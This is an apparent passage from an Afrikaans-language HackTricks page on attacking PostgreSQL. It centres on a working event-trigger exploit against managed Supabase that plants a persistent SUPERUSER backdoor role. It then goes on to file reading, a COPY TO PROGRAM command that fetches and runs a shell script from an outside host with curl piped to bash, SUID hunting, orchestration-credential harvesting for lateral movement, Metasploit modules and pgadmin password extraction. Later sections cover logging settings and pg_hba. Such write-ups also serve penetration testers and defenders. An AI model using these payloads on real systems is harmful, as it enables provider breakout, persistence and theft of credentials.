Beheerde Supabase-implementasies steun op die supautils extension om CREATE EXTENSION te omsluit met provider-beheerde before-create.sql/after-create.sql skripte wat as ware superusers uitgevoer word. Die postgres_fdw after-create skrip gee kortliks die opdrag ALTER ROLE postgres SUPERUSER, voer ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres uit, en herstel dan postgres terug na NOSUPERUSER. Omdat ALTER FOREIGN DATA WRAPPER ddl_command_start/ddl_command_end event triggers aktiveer terwyl current_user superuser is, kan deur tenants geskepte triggers in daardie venster aanvaller-SQL uitvoer.

Exploit flow:

  1. Skep ’n PL/pgSQL event trigger funksie wat SELECT usesuper FROM pg_user WHERE usename = current_user kontroleer en, wanneer dit waar is, ’n backdoor role voorsien (bv. CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
  2. Registreer die funksie op beide ddl_command_start en ddl_command_end.
  3. DROP EXTENSION IF EXISTS postgres_fdw CASCADE; gevolg deur CREATE EXTENSION postgres_fdw; om Supabase se after-create hook weer uit te voer.
  4. Wanneer die hook postgres na SUPERUSER verhoog, voer die trigger uit, skep die volhoubare SUPERUSER-rol, en gee dit terug aan postgres vir maklike SET ROLE toegang.
Event trigger PoC vir die postgres_fdw after-create venster ```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;

DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();

DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;

</details>

Supabase se poging om unsafe triggers te skip kontroleer slegs ownership, dus maak seker dat die trigger function owner jou low-privileged role is, maar die payload word slegs uitgevoer wanneer die hook `current_user` in SUPERUSER omskakel. Omdat die trigger by toekomstige DDL weer uitgevoer word, dien dit ook as 'n self-healing persistence backdoor elke keer wanneer die provider tenant roles kortliks verhoog.

### Omskep kortstondige SUPERUSER toegang in host compromise

Nadat `SET ROLE priv_esc;` suksesvol is, herhaal vroeër geblokkeerde primitives:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

pg_read_file/COPY ... TO PROGRAM voorsien nou arbitrĂȘre lĂȘertoegang en opdraguitvoering as die database OS-rekening. Volg op met standaard host privilege escalation:

find / -perm -4000 -type f 2>/dev/null

Deur ’n verkeerd gekonfigureerde SUID binary of ’n skryfbare config te misbruik, kry jy root. Sodra jy root is, oes orchestration credentials (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens) om laterally te pivot oor die provider se region.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logboeke

In die postgresql.conf lĂȘer kan jy postgresql logboeke aktiveer deur die volgende te verander:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Dan, herbegin die diens.

pgadmin

pgadmin is ’n administrasie- en ontwikkelingsplatform vir PostgreSQL.
Jy kan passwords vind binne die pgadmin4.db lĂȘer
Jy kan dit ontsleutel deur die decrypt funksie binne die skrip te gebruik: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

KliĂ«ntverifikasie in PostgreSQL word bestuur deur ’n konfigurasielĂȘer genaamd pg_hba.conf. Hierdie lĂȘer bevat ’n reeks rekords, elkeen wat ’n verbindingstipe, kliĂ«nt-IP-adresreeks (indien van toepassing), databasenaam, gebruikersnaam, en die verifikasiemetode wat gebruik moet word om verbindings te pas, spesifiseer. Die eerste rekord wat ooreenstem met die verbindingstipe, kliĂ«ntadres, versoekte databasis en gebruikersnaam, word vir verifikasie gebruik. Daar is geen terugvalopsie as verifikasie misluk nie. As geen rekord ooreenstem nie, word toegang geweier.

Die beskikbare wagwoordgebaseerde verifikasiemetodes in pg_hba.conf is md5, crypt, en password. Hierdie metodes verskil in hoe die wagwoord oorgedra word: MD5-gehash, crypt-gesifreer, of duidelike teks. Dit is belangrik om te let dat die crypt-metode nie gebruik kan word met wagwoorde wat in pg_authid versleutel is nie.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks